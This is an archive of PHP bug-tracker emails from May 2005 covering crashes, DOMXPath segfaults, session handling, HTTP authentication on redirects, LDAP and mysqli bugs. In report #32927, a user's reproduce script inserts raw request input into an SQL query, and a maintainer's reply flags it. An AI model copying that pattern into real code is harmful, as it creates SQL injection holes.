and debug pack is:

php5ts.dll!shutdown_memory_manager(int silent=0, int full_shutdown=0,
void * * * tsrm_ls=0x00364b38)  Line 490 + 0xb  C
php5ts.dll!php_request_shutdown(void * dummy=0x)  Line 1225 +
0x2fC
msvcrt.dll!77c37bbe()   
user32.dll!77d5f160()   






-- 
Edit this bug report at http://bugs.php.net/?id=32252edit=1


#32925 [NEW]: HTTP Authentication is not carried through upon redirects.

2005-05-04 Thread wb at pro-net dot co dot uk
From: wb at pro-net dot co dot uk
Operating system: FreeBSD
PHP version:  5.0.4
PHP Bug Type: HTTP related
Bug description:  HTTP Authentication is not carried through upon redirects.

Description:

When using fopen() it seems that authentication details are not passed
through upon a redirect and you will get a HTTP/1.1 401 Authorization
Required.

The server i am trying has a virtual host of the following...

VirtualHost 0.0.0.0:80
ServerName some.redirect.com
RewriteEngine on
RewriteRule ^/(.*) http://www.redirect.com/redirect/$1 [R,L]
/VirtualHost

Which will just redirect the request to another location where
authentication is needed.


Reproduce code:
---
?php
$fp = fopen('http://user:[EMAIL PROTECTED]/', 'rb');
print_r($fp);
?


Expected result:

Resource id #2


Actual result:
--
PHP Warning:  fopen(): HTTP request failed! HTTP/1.1 401 Authorization
Required

-- 
Edit bug report at http://bugs.php.net/?id=32925edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32925r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32925r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32925r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32925r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32925r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32925r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32925r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32925r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32925r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32925r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32925r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32925r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32925r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32925r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32925r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32925r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32925r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32925r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32925r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32925r=mysqlcfg


#32912 [Opn-Bgs]: Segfault in DOMXpath-query

2005-05-04 Thread rrichards
 ID:   32912
 Updated by:   [EMAIL PROTECTED]
 Reported By:  vivers at one dot net
-Status:   Open
+Status:   Bogus
 Bug Type: DOM XML related
 Operating System: SUSE Ent Svr 9 AMD64
 PHP Version:  5.0.4
 New Comment:

This is a libxml bug causing memory corruption when using namespaces
and xpath (or xslt). You are just one of the *lucky* ones who
experiences the crash. There's a patch, not yet in cvs, on the libxml
mailing list so it should make it into next libxml2 release.
BTW: The 2.6.11 issue is a different libxml bug which was fixed.


Previous Comments:


[2005-05-03 02:55:30] vivers at one dot net

Works fine with CGI version of php5-STABLE-200505021035.  Segfaults
in
Apache module, both http and https call. should be CLI not CGI.

Still CGI in:
Does not occur on Dreamhost server running Linux 2.4.29 and running
PHP
in CGI mode--PHP-5.0.3 and libxml2-2.6.11.  That same combination also
generated the segfault on the SUSE box.

Hope that doesn't confuse the issue.



[2005-05-02 14:11:20] vivers at one dot net

Description:

Similar to situation reported in Bug #32754.  However, installing
libxml2-2.6.16 did not resolve the issue.

Calling query() method of DOMXPath where DOMDocument loaded with a
document whose root element contains a namespace declaration causes
segfault.

Occurred with php-5.0.4, libxml2-2.6.19 and again with 2.2.16.  Also
failed with php5-STABLE-200505021035.

PHP config:
'./configure' \
'--with-apxs=/usr/local/apache/bin/apxs' \
'--with-mysqli=/usr/local/bin/mysql_config' \
'--with-openssl=/usr/local' \
'--with-libxml-dir=/usr/local' \
'--enable-debug' \

Apache/mod_ssl config:
./configure \
--with-apache=../apache_1.3.33 \
--with-ssl=../openssl-0.9.7g \
--with-mm=../mm-1.3.1 \
--prefix=/usr/local/apache \
--enable-shared=ssl \
--disable-rule=SSL_COMPAT \
--with-layout=Apache \
--enable-rule=SSL_SDBM \
--enable-shared=max \
--enable-module=ssl \

Does not occur on Dreamhost server running Linux 2.4.29 and running PHP
in CGI mode--PHP-5.0.3 and libxml2-2.6.11.  That same combination also
generated the segfault on the SUSE box.


Reproduce code:
---
Code from bug #32754:

?php
$x = new DOMDocument();

// This line gives a segmentation fault.
$x-loadXml( 'template xmlns=http://blah.com/');

// ... but if i comment the line above out and uncomment the next line
// there are no issues. It does not matter what xmlns is set to in the
line
// above.
//$x-loadXml( 'template/' );

$xpath = new DOMXPath( $x );
$nodelist = $xpath-query( '/*' );
?

Works fine with CGI version of php5-STABLE-200505021035.  Segfaults in
Apache module, both http and https call.

Expected result:

Return nothing and no segfault

Actual result:
--
#0  0x002a95b8c70b in _int_malloc () from /lib64/tls/libc.so.6
#1  0x002a95b8df99 in malloc () from /lib64/tls/libc.so.6
#2  0x002a97f90819 in xmlMallocLoc__internal_alias (size=Variable
size is not available.
) at xmlmemory.c:174
#3  0x002a97f90962 in xmlMemMalloc__internal_alias (size=Variable
size is not available.
) at xmlmemory.c:296
#4  0x002a98018af6 in xmlNewPatParserContext (pattern=Variable
pattern is not available.
) at pattern.c:261
#5  0x002a9801a226 in xmlPatterncompile__internal_alias
(pattern=Variable pattern is not available.
) at pattern.c:1876
#6  0x002a97fabf98 in xmlXPathTryStreamCompile (ctxt=Variable
ctxt is not available.
) at xpath.c:11270
#7  0x002a97fbac7b in xmlXPathEvalExpr__internal_alias
(ctxt=Variable ctxt is not available.
) at xpath.c:11452
#8  0x002a97fbad77 in xmlXPathEvalExpression__internal_alias
(str=Variable str is not available.
) at xpath.c:11549
#9  0x002a972c312b in zif_dom_xpath_query (ht=1,
return_value=0x6e5e00, this_ptr=0x6e20d0, return_value_used=1)
at
/home/xtekadmin/src/php5-STABLE-200505021035/ext/dom/xpath.c:198
#10 0x002a9747949f in zend_do_fcall_common_helper
(execute_data=0x7fbfffbea0, opline=0x6e7138, op_array=0x6e1ec0)
at
/home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend_execute.c:2736
#11 0x002a97479bc1 in zend_do_fcall_by_name_handler
(execute_data=0x7fbfffbea0, opline=0x6e7138, op_array=0x6e1ec0)
at
/home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend_execute.c:2850
#12 0x002a9747550b in execute (op_array=0x6e1ec0) at
/home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend_execute.c:1415
#13 0x002a974488de in zend_execute_scripts (type=8, retval=0x0,
file_count=3)
at /home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend.c:1076
#14 0x002a973f7b45 in php_execute_script
(primary_file=0x7fbfffe480)
at /home/xtekadmin/src/php5-STABLE-200505021035/main/main.c:1638
#15 0x002a97482c60 in apache_php_module_main (r=0x56b110,
display_source_mode=0)
at

#32910 [Opn-Bgs]: session unset inside foreach breaks session write handler

2005-05-04 Thread sniper
 ID:   32910
 Updated by:   [EMAIL PROTECTED]
 Reported By:  bugs dot php dot net at enca dot cz
-Status:   Open
+Status:   Bogus
 Bug Type: Session related
 Operating System: MS Windows Server 2003
 PHP Version:  5.0.4
 New Comment:

Yes, that's not a workaround but how you're suppose to do it..



Previous Comments:


[2005-05-03 13:00:06] bugs dot php dot net at enca dot cz

thx, this workaround is working for me



[2005-05-03 11:46:35] stocker at vision-e dot ch

Workaround for the reported problem foreach-iterating $_SESSION with
unset() inside the loop:

$unset_collection = array();
// 1. Collect the Session-Variable to unset,
// because unset inside the foreach-loop will not work.
foreach ($_SESSION as $sessvar = $sessval)
{
  if ($sessvar != A)
  {
array_push($unset_collection,$sessvar);
  }
}
// 2. Unset the session variables outside the foreach
foreach ($unset_collection as $sessvar)
{
  unset($_SESSION[$sessvar]);
}

Comment:
Changing a loop control variable inside of a loop is not good
programming style. Just this happens, if adding or removing a $_SESSION
variable inside of a foreach for $_SESSION. The solution is extracting
the the processes of unseting or adding outside of that loop.



[2005-05-02 14:09:35] bugs dot php dot net at enca dot cz

It doesn't work for me :-(
I tried this code in 
PHP Version 5.0.5-dev
Build Date Apr 26 2005 02:18:08
but the result is the same as in 5.0.4
I'm using php.ini-recomended without modifications



[2005-05-02 13:40:12] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.0-win32-latest.zip

Works fine for me..




[2005-05-02 11:14:48] bugs dot php dot net at enca dot cz

Description:

In this testcase the write function is not called. If you remove line
with unset, the write function is called properly. If you delete whole
foreach cycle and use 
unset($_SESSION['A']); instead, the write function si also called -
as expected. This bug appear only when you call unset inside foreach
cycle.

My environment: 
MS Windows Server 2003 SE (Windows NT 5.2 build 3790)
Apache/2.0.53 (Win32) PHP/5.0.4

Smilar (but not exactly same) bug is described as #32564, but it is in
the No feedback status and there is no way (for me) to change this
status. I hope that this reproduce code is much better then codes
from #32564

I can provide more information if you ask for them.


Reproduce code:
---
?php
function foo(){return(true);}
function read($id){
  return 'A|s:1:a;B|s:1:b;';
}
function write($id, $sess_data){
  print I'm writing this data: $sess_data\n;
  return true;
}
header('Content-Type: text/plain');
session_set_save_handler(foo, foo, read, write, foo, foo);
session_start();
print_r($_SESSION);
foreach($_SESSION as $lsKey = $lsVal){
  if($lsKey != 'A'){
unset($_SESSION[$lsKey]);  // if you comment this line, the
write function is called properly
  }
}
print_r($_SESSION);
?

Expected result:

Array
(
[A] = a
[B] = b
)
Array
(
[A] = a
)
I'm writing this data: A|s:1:a;


Actual result:
--
Array
(
[A] = a
[B] = b
)
Array
(
[A] = a
)





-- 
Edit this bug report at http://bugs.php.net/?id=32910edit=1


#28327 [Com]: chdir(..) not working in PHP5 on WinNT4

2005-05-04 Thread gemije at gmx dot net
 ID:   28327
 Comment by:   gemije at gmx dot net
 Reported By:  zajdee at seznam dot cz
 Status:   No Feedback
 Bug Type: Directory function related
 Operating System: Windows NT4
 PHP Version:  5CVS-2004-05-08 (dev)
 New Comment:

Is there a chance to fix this bug in near future?


Previous Comments:


[2005-03-10 18:38:37] n dot s dot robson at open dot ac dot uk

I've just tried the latest build 5.1.0-dev downloaded this afternoon,
on an NT4 system, under IIS 4.0, and the bug is still present.

This code
?php $dir = getcwd();
 echo CWD: $dir Br/ Change dir up one level Br/;
 chdir (../);
 $dir = getcwd();
 echo CWD: $dir ;
?

gave this output

CWD: E:\IIS_40\wwwroot\Test1\level2\level3\level4 
Change dir up one level 
CWD: E:\IIS_40



[2005-02-23 01:00:06] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2005-02-15 01:52:52] [EMAIL PROTECTED]

We're still waiting for feedback..



[2005-01-27 08:15:15] zajdee at seznam dot cz

I am not using NT4 anywhere, but will try to set up a virtual machine
in VMware to test it.



[2005-01-26 04:53:57] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip





The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/28327

-- 
Edit this bug report at http://bugs.php.net/?id=28327edit=1


#32912 [Bgs]: Segfault in DOMXpath-query

2005-05-04 Thread vivers at one dot net
 ID:   32912
 User updated by:  vivers at one dot net
 Reported By:  vivers at one dot net
 Status:   Bogus
 Bug Type: DOM XML related
 Operating System: SUSE Ent Svr 9 AMD64
 PHP Version:  5.0.4
 New Comment:

Thanks for the quick response.  I'll dig up the patch.


Previous Comments:


[2005-05-03 13:22:14] [EMAIL PROTECTED]

This is a libxml bug causing memory corruption when using namespaces
and xpath (or xslt). You are just one of the *lucky* ones who
experiences the crash. There's a patch, not yet in cvs, on the libxml
mailing list so it should make it into next libxml2 release.
BTW: The 2.6.11 issue is a different libxml bug which was fixed.



[2005-05-03 02:55:30] vivers at one dot net

Works fine with CGI version of php5-STABLE-200505021035.  Segfaults
in
Apache module, both http and https call. should be CLI not CGI.

Still CGI in:
Does not occur on Dreamhost server running Linux 2.4.29 and running
PHP
in CGI mode--PHP-5.0.3 and libxml2-2.6.11.  That same combination also
generated the segfault on the SUSE box.

Hope that doesn't confuse the issue.



[2005-05-02 14:11:20] vivers at one dot net

Description:

Similar to situation reported in Bug #32754.  However, installing
libxml2-2.6.16 did not resolve the issue.

Calling query() method of DOMXPath where DOMDocument loaded with a
document whose root element contains a namespace declaration causes
segfault.

Occurred with php-5.0.4, libxml2-2.6.19 and again with 2.2.16.  Also
failed with php5-STABLE-200505021035.

PHP config:
'./configure' \
'--with-apxs=/usr/local/apache/bin/apxs' \
'--with-mysqli=/usr/local/bin/mysql_config' \
'--with-openssl=/usr/local' \
'--with-libxml-dir=/usr/local' \
'--enable-debug' \

Apache/mod_ssl config:
./configure \
--with-apache=../apache_1.3.33 \
--with-ssl=../openssl-0.9.7g \
--with-mm=../mm-1.3.1 \
--prefix=/usr/local/apache \
--enable-shared=ssl \
--disable-rule=SSL_COMPAT \
--with-layout=Apache \
--enable-rule=SSL_SDBM \
--enable-shared=max \
--enable-module=ssl \

Does not occur on Dreamhost server running Linux 2.4.29 and running PHP
in CGI mode--PHP-5.0.3 and libxml2-2.6.11.  That same combination also
generated the segfault on the SUSE box.


Reproduce code:
---
Code from bug #32754:

?php
$x = new DOMDocument();

// This line gives a segmentation fault.
$x-loadXml( 'template xmlns=http://blah.com/');

// ... but if i comment the line above out and uncomment the next line
// there are no issues. It does not matter what xmlns is set to in the
line
// above.
//$x-loadXml( 'template/' );

$xpath = new DOMXPath( $x );
$nodelist = $xpath-query( '/*' );
?

Works fine with CGI version of php5-STABLE-200505021035.  Segfaults in
Apache module, both http and https call.

Expected result:

Return nothing and no segfault

Actual result:
--
#0  0x002a95b8c70b in _int_malloc () from /lib64/tls/libc.so.6
#1  0x002a95b8df99 in malloc () from /lib64/tls/libc.so.6
#2  0x002a97f90819 in xmlMallocLoc__internal_alias (size=Variable
size is not available.
) at xmlmemory.c:174
#3  0x002a97f90962 in xmlMemMalloc__internal_alias (size=Variable
size is not available.
) at xmlmemory.c:296
#4  0x002a98018af6 in xmlNewPatParserContext (pattern=Variable
pattern is not available.
) at pattern.c:261
#5  0x002a9801a226 in xmlPatterncompile__internal_alias
(pattern=Variable pattern is not available.
) at pattern.c:1876
#6  0x002a97fabf98 in xmlXPathTryStreamCompile (ctxt=Variable
ctxt is not available.
) at xpath.c:11270
#7  0x002a97fbac7b in xmlXPathEvalExpr__internal_alias
(ctxt=Variable ctxt is not available.
) at xpath.c:11452
#8  0x002a97fbad77 in xmlXPathEvalExpression__internal_alias
(str=Variable str is not available.
) at xpath.c:11549
#9  0x002a972c312b in zif_dom_xpath_query (ht=1,
return_value=0x6e5e00, this_ptr=0x6e20d0, return_value_used=1)
at
/home/xtekadmin/src/php5-STABLE-200505021035/ext/dom/xpath.c:198
#10 0x002a9747949f in zend_do_fcall_common_helper
(execute_data=0x7fbfffbea0, opline=0x6e7138, op_array=0x6e1ec0)
at
/home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend_execute.c:2736
#11 0x002a97479bc1 in zend_do_fcall_by_name_handler
(execute_data=0x7fbfffbea0, opline=0x6e7138, op_array=0x6e1ec0)
at
/home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend_execute.c:2850
#12 0x002a9747550b in execute (op_array=0x6e1ec0) at
/home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend_execute.c:1415
#13 0x002a974488de in zend_execute_scripts (type=8, retval=0x0,
file_count=3)
at /home/xtekadmin/src/php5-STABLE-200505021035/Zend/zend.c:1076
#14 0x002a973f7b45 in php_execute_script
(primary_file=0x7fbfffe480)
at 

#32919 [Opn-Bgs]: PHP has encountered an Access Violation at 7C84E9AF

2005-05-04 Thread sniper
 ID:   32919
 Updated by:   [EMAIL PROTECTED]
 Reported By:  justincouto at msn dot com
-Status:   Open
+Status:   Bogus
-Bug Type: Systems problem
+Bug Type: IIS related
 Operating System: Windows 2003 Server
-PHP Version:  Irrelevant
+PHP Version:  5.0.4
 New Comment:

We are aware of PHP's problems with stability under IIS and are working

to rectify the problem. Unfortunatly your bug report does not contain
any
extra useful information and we already have enough bug reports open
about
this issue. If you can provide more detailed information such as a 
reproducable crash or a backtrace please do so and reopen this bug. 
Otherwise please keep trying new releases as we are working to resolve 
the problems on this platform
 
Thanks for your interest in PHP.




Previous Comments:


[2005-05-03 00:00:58] justincouto at msn dot com

Description:

I am running PHP5 on 3 Windows 2003 servers using IIS 6.0.  All of
these servers randomly get PHP Access Violation errors like this:

PHP has encountered an Access Violation at 7C84E9AF

I am not sure what causes this.  I have seen lots of posts where other
are experiencing the exact same thing, however, there are no answers. 
I have seen several other bugs that report this and they state that it
has been fixed in the latest version.  I have tried several versions
and the latest cvs.  All of them will have this problem.  The poroblem
seem to occur when updating a MySQL database.  After you esperience the
problem, a few moments later it will go away.

I have tried the Zend Win Enabler, however, it is not compatible with
PHP5.  I hope someone can help me.  

Reproduce code:
---
It seems to happen with lots of different code when server gets heavily
loaded






-- 
Edit this bug report at http://bugs.php.net/?id=32919edit=1


#32934 [NEW]: Files with the PHP Extension execute with / instead of . running the Script

2005-05-04 Thread bernardino_lopez at yahoo dot com
From: bernardino_lopez at yahoo dot com
Operating system: Linux
PHP version:  4.3.11
PHP Bug Type: *General Issues
Bug description:  Files with the PHP Extension execute with / instead of . 
running the Script

Description:

Open Any PHP Page and replace the . of the File Extension by /

Example:

http://www.abc.com/phpinfo.php

Replace the URL Address for:

http://www.abc.com/phpinfo/php

The script is going to execute.

Reproduce code:
---
No code just replace your URL from the extension .php for /php 


Expected result:

Same page execution of the Original page.

Not sure if possible to parse extra parameters to any exposed script to
execute

Actual result:
--
Page execute regardles of the 

phpinfo.php
phpinfo/php

At this point looking for a major impact because in case of be able to
pass arbitrary commands to the script to execute will create major
security issue.

Best Regards Dinooz.


-- 
Edit bug report at http://bugs.php.net/?id=32934edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32934r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32934r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32934r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32934r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32934r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32934r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32934r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32934r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32934r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32934r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32934r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32934r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32934r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32934r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32934r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32934r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32934r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32934r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32934r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32934r=mysqlcfg


#32927 [Opn-Fbk]: inserting UTF-8 string into mysql

2005-05-04 Thread iliaa
 ID:   32927
 Updated by:   [EMAIL PROTECTED]
 Reported By:  david dot kalosi at spordat dot sk
-Status:   Open
+Status:   Feedback
 Bug Type: *Languages/Translation
 Operating System: Windows XP SP1
 PHP Version:  5CVS-2005-05-03 (dev)
 New Comment:

Pass the input through mysql_real_escape_string().


Previous Comments:


[2005-05-03 15:39:01] david dot kalosi at spordat dot sk

Description:

I have a Mysql database with UTF-8 encoding and i am posting data from
web also in UTF-8 encoding. 
The slovak character #269; is messed up - the results from the
database are differ from the input. All other special characters are
OK.

Reproduce code:
---
mysql create table t (x varchar(64)) character set utf8;
Query OK, 0 rows affected (0.21 sec)

mysql

script language=php

header(Content-Type: text/html;charset=UTF-8);

$l_conn = mysql_connect(localhost, formawww, formawww);
mysql_select_db(forma, $l_conn);


echo form name=\test\ method=\POST\ action=\test.php\;
echo input type=\text\ name=\str\;
echo input type=\hidden\ name=\insert\ value=\1\;
echo input type=\submit\/form;


if (isset($_REQUEST[insert]))
{
$l_insert = mysql_query (insert into t values (' .
$_REQUEST[str].'));
}



$l_select = mysql_query(select * from t);

echo --br;
while ($l_row = mysql_fetch_assoc($l_select))
{
  echo $l_row[x] . br\n;
}


/script

Expected result:

enter the following values into the form 

#318;š#269;#357;žýáíéúäô

and the following output is produces

#318;š#319;#357;žýáíéúäô

the third character is corrupted.






-- 
Edit this bug report at http://bugs.php.net/?id=32927edit=1


#32932 [Opn-Fbk]: Oracle LDAP: ldap_get_entries invalid pointer

2005-05-04 Thread iliaa
 ID:   32932
 Updated by:   [EMAIL PROTECTED]
 Reported By:  frameloss at gmail dot com
-Status:   Open
+Status:   Feedback
 Bug Type: LDAP related
 Operating System: Fedora Core 3
 PHP Version:  5.0.4
 New Comment:

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.




Previous Comments:


[2005-05-03 22:43:25] frameloss at gmail dot com

Description:

The following errors occur when using the ldap_get_entries call on PHP
5.0.4, Apache 2.0.53 , Fedora Core 3 2.6.9-1.724_FC3smp

*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***
*** glibc detected *** double free or corruption (out): 0x08917930 ***
*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***
[Tue May  3 14:13:27 2005] [notice] child pid 13543 exit signal Aborted
(6)
[Tue May  3 14:13:27 2005] [notice] child pid 13544 exit signal Aborted
(6)
[Tue May  3 14:13:27 2005] [notice] child pid 13545 exit signal Aborted
(6)
*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***

However, ldap_get_values and ldap_first_entry etc seem to work fine.

Configure line:

'./configure' '--with-ldap=/usr/local/oracle/product/10.1.0.3.0/'
'--enable-versioning' '--enable-memo' '--enable-ctype' '--with-curl'
'--enable-ftp' '--with-gd' '--enable-gd-native-ttf' '--with-freetype'
'--with-t1lib' '--with-jpeg' '--with-jpeg-dir=/usr/local' '--with-png'
'--with-xpm' '--with-gmp' '--with-mcrypt' '--with-mhash'
'--with-mysql=/usr/local' '--with-openssl'
'--with-oci8=/usr/local/oracle/product/10.1.0.3.0' '--enable-overload'
'--with-pcre-regex' '--enable-posix' '--enable-session'
'--enable-tokenizer' '--with-expat' '--enable-xml' '--with-zlib'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-xpm-dir=/usr/X11R6/'
'--with-freetype-dir=/usr' '--with-t1lib-dir=/usr'
'--with-sybase-ct=/usr/local/FreeTDS/'

Reproduce code:
---
Using example code provided from user manual.






-- 
Edit this bug report at http://bugs.php.net/?id=32932edit=1


#32925 [Opn-Ver]: HTTP Authentication is not carried through upon redirects.

2005-05-04 Thread iliaa
 ID:   32925
 Updated by:   [EMAIL PROTECTED]
 Reported By:  wb at pro-net dot co dot uk
-Status:   Open
+Status:   Verified
 Bug Type: HTTP related
 Operating System: FreeBSD
 PHP Version:  5.0.4


Previous Comments:


[2005-05-03 13:21:40] wb at pro-net dot co dot uk

Description:

When using fopen() it seems that authentication details are not passed
through upon a redirect and you will get a HTTP/1.1 401 Authorization
Required.

The server i am trying has a virtual host of the following...

VirtualHost 0.0.0.0:80
ServerName some.redirect.com
RewriteEngine on
RewriteRule ^/(.*) http://www.redirect.com/redirect/$1 [R,L]
/VirtualHost

Which will just redirect the request to another location where
authentication is needed.


Reproduce code:
---
?php
$fp = fopen('http://user:[EMAIL PROTECTED]/', 'rb');
print_r($fp);
?


Expected result:

Resource id #2


Actual result:
--
PHP Warning:  fopen(): HTTP request failed! HTTP/1.1 401 Authorization
Required





-- 
Edit this bug report at http://bugs.php.net/?id=32925edit=1


#32932 [NEW]: Oracle LDAP: ldap_get_entries invalid pointer

2005-05-04 Thread frameloss at gmail dot com
From: frameloss at gmail dot com
Operating system: Fedora Core 3
PHP version:  5.0.4
PHP Bug Type: LDAP related
Bug description:  Oracle LDAP: ldap_get_entries invalid pointer

Description:

The following errors occur when using the ldap_get_entries call on PHP
5.0.4, Apache 2.0.53 , Fedora Core 3 2.6.9-1.724_FC3smp

*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***
*** glibc detected *** double free or corruption (out): 0x08917930 ***
*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***
[Tue May  3 14:13:27 2005] [notice] child pid 13543 exit signal Aborted
(6)
[Tue May  3 14:13:27 2005] [notice] child pid 13544 exit signal Aborted
(6)
[Tue May  3 14:13:27 2005] [notice] child pid 13545 exit signal Aborted
(6)
*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***

However, ldap_get_values and ldap_first_entry etc seem to work fine.

Configure line:

'./configure' '--with-ldap=/usr/local/oracle/product/10.1.0.3.0/'
'--enable-versioning' '--enable-memo' '--enable-ctype' '--with-curl'
'--enable-ftp' '--with-gd' '--enable-gd-native-ttf' '--with-freetype'
'--with-t1lib' '--with-jpeg' '--with-jpeg-dir=/usr/local' '--with-png'
'--with-xpm' '--with-gmp' '--with-mcrypt' '--with-mhash'
'--with-mysql=/usr/local' '--with-openssl'
'--with-oci8=/usr/local/oracle/product/10.1.0.3.0' '--enable-overload'
'--with-pcre-regex' '--enable-posix' '--enable-session'
'--enable-tokenizer' '--with-expat' '--enable-xml' '--with-zlib'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-xpm-dir=/usr/X11R6/'
'--with-freetype-dir=/usr' '--with-t1lib-dir=/usr'
'--with-sybase-ct=/usr/local/FreeTDS/'

Reproduce code:
---
Using example code provided from user manual.


-- 
Edit bug report at http://bugs.php.net/?id=32932edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32932r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32932r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32932r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32932r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32932r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32932r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32932r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32932r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32932r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32932r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32932r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32932r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32932r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32932r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32932r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32932r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32932r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32932r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32932r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32932r=mysqlcfg


#32928 [NEW]: php dies trying to -bind_result(...)

2005-05-04 Thread dan at yes dot lt
From: dan at yes dot lt
Operating system: winxp
PHP version:  5.0.4
PHP Bug Type: MySQLi related
Bug description:  php dies trying to -bind_result(...)

Description:

php dies trying to mysqli_stmt-bind_result(...) with listed queries:

SELECT 1.23 AS test

SELECT NULL AS test

php version 5.0.4, mysql version 5.0.4 beta

Reproduce code:
---
$st = $db-prepare(SELECT 1 AS test);
$st-bind_result($x);
$st-fetch();
var_dump($x);

$st = $db-prepare(SELECT 1.23 AS test);
$st-bind_result($x);
$st-fetch();
var_dump($x);

$st = $db-prepare(SELECT NULL AS test);
$st-bind_result($x);
$st-fetch();
echo $st;
var_dump($x);


Expected result:

int(1)
float(1.23)
NULL


Actual result:
--
int(1)
...FATAL ERROR WITH NO OUTPUT...
...FATAL ERROR WITH NO OUTPUT...

-- 
Edit bug report at http://bugs.php.net/?id=32928edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32928r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32928r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32928r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32928r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32928r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32928r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32928r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32928r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32928r=support
